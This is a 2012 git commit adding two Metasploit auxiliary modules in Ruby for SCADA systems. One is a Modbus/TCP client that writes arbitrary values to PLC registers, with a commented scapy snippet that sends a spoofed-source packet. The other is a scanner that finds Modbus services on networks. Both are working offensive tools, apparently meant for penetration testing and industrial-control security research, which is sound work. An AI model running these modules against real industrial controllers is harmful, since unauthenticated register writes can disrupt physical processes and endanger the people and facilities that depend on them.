Added one modbus-scanner and one modbus-client aux-module SCADA

unstable
esmnemon 2012-05-29 20:34:33 +02:00
parent 300b96a711
commit c00222b4c2
2 changed files with 114 additions and 0 deletions

View File

@ -0,0 +1,65 @@
## MODBUS/TCP client (simple).
## Modbus is a cleartext protocol used in common SCADA systems, developed
## originally as a serial-line (RS232) async protocol, and later transformed
## to IP, which is called ModbusTCP. default tcpport is 502.
## There are a handful of functions which is possible to do, but this
## client has only implemented the function "write value to register" (\x48)
##
## This client is developed and tested on a SAIA PCD1.M2 system
## http://www.saia-pcd.com/en/products/plc/pcd-overview/Pages/pcd1-m2.aspx
##
##
# MODBUS: 10 00 00 00 00 06 01 06 03 ea 00 02
# tested on a SAIA PCD1.M2
# scapy - even with source-IP
# sploit="\x21\x00\x00\x00\x00\x06\x01\x06\x03\xea\x00\x02"
# ip=IP(dst="172.16.10.10",src="172.16.10.155",proto=6,flags=2)
# tcp=TCP(dport=509)
# send(ip/tcp/sploit)
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Fuzzer
def initialize(info = {})
super(update_info(info,
'Name' => 'ModbusClient',
'Description' => %q{
This module sends a command (0x06, write to one register) to modbus endpoint.
You can change port, ip, register to write and data to write, and unit-id.
},
'Author' => [ 'EsMnemon <esm[at]mnemonic.no>' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 1 2011',
'Version' => '$Revision: 0002 $'
))
register_options([
Opt::RPORT(502),
OptInt.new('UNIT_ID', [true, "ModBus Unit Identifier ", 1]),
OptInt.new('MODVALUE', [true, "ModBus value to write (data) ", 2]),
OptInt.new('REGIS', [true, "ModBus Register definition", 1002])
], self.class)
end
def run
trans_id="\x21\x00"
proto_id="\x00\x00"
len="\x00\x06"
func_id="\x06"
#For debug: MODVALUE=19276 REGIS=18762, UNIT_ID=71
#trans_id="\x41\x42"
#proto_id="\x43\x44"
#len="\x45\x46"
#func_id="\x48"
sploit=trans_id
sploit+=proto_id
sploit+=len
sploit+=[datastore['UNIT_ID']].pack("C")
sploit+=func_id
sploit+=[datastore['REGIS']].pack("S").reverse
sploit+=[datastore['MODVALUE']].pack("S").reverse
connect()
sock.put(sploit)
data = sock.recv(1024)
disconnect()
end
end

View File

@ -0,0 +1,49 @@
## MODBUS/TCP scanner/detector
## Modbus is a cleartext protocol used in common SCADA systems, developed
## originally as a serial-line (RS232) async protocol, and later transformed
## to IP, which is called ModbusTCP. default tcpport is 502.
##
## This scanner is developed and tested on a SAIA PCD1.M2 system
## http://www.saia-pcd.com/en/products/plc/pcd-overview/Pages/pcd1-m2.aspx
##
## Theory: Whene sending a modbus request of some sort, the endpoint will
## return with at least the same transaction-id, and protocol-id
##
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Modbus Version Scanner',
'Version' => '$Revision: 0002 $',
'Description' => 'Detect Modbus service .',
'References' =>
[
[ 'URL', 'http://en.wikipedia.org/wiki/Modbus:TCP' ],
],
'Author' => [ 'EsMnemon <esm[at]mnemonic.no>' ],
'DisclosureDate' => 'Nov 1 2011',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(502),
OptInt.new('TIMEOUT', [true, 'Timeout for the network probe', 10])
], self.class)
end
def run_host(ip)
sploit="\x21\x00\x00\x00\x00\x06\x01\x04\x00\x01\x00\x00" #read input register=func:04, register 1
connect()
sock.put(sploit)
data = sock.recv(12)
if data[0]+data[1]+data[2]+data[3] == "\x21\x00\x00\x00" #return of the same trans-id+proto-id
print_status("Received: correct MODBUS/TCP header from #{ip}")
else
print_status("Received: incorrect data from #{ip} (not modbus/tcp?)")
end
disconnect()
end
end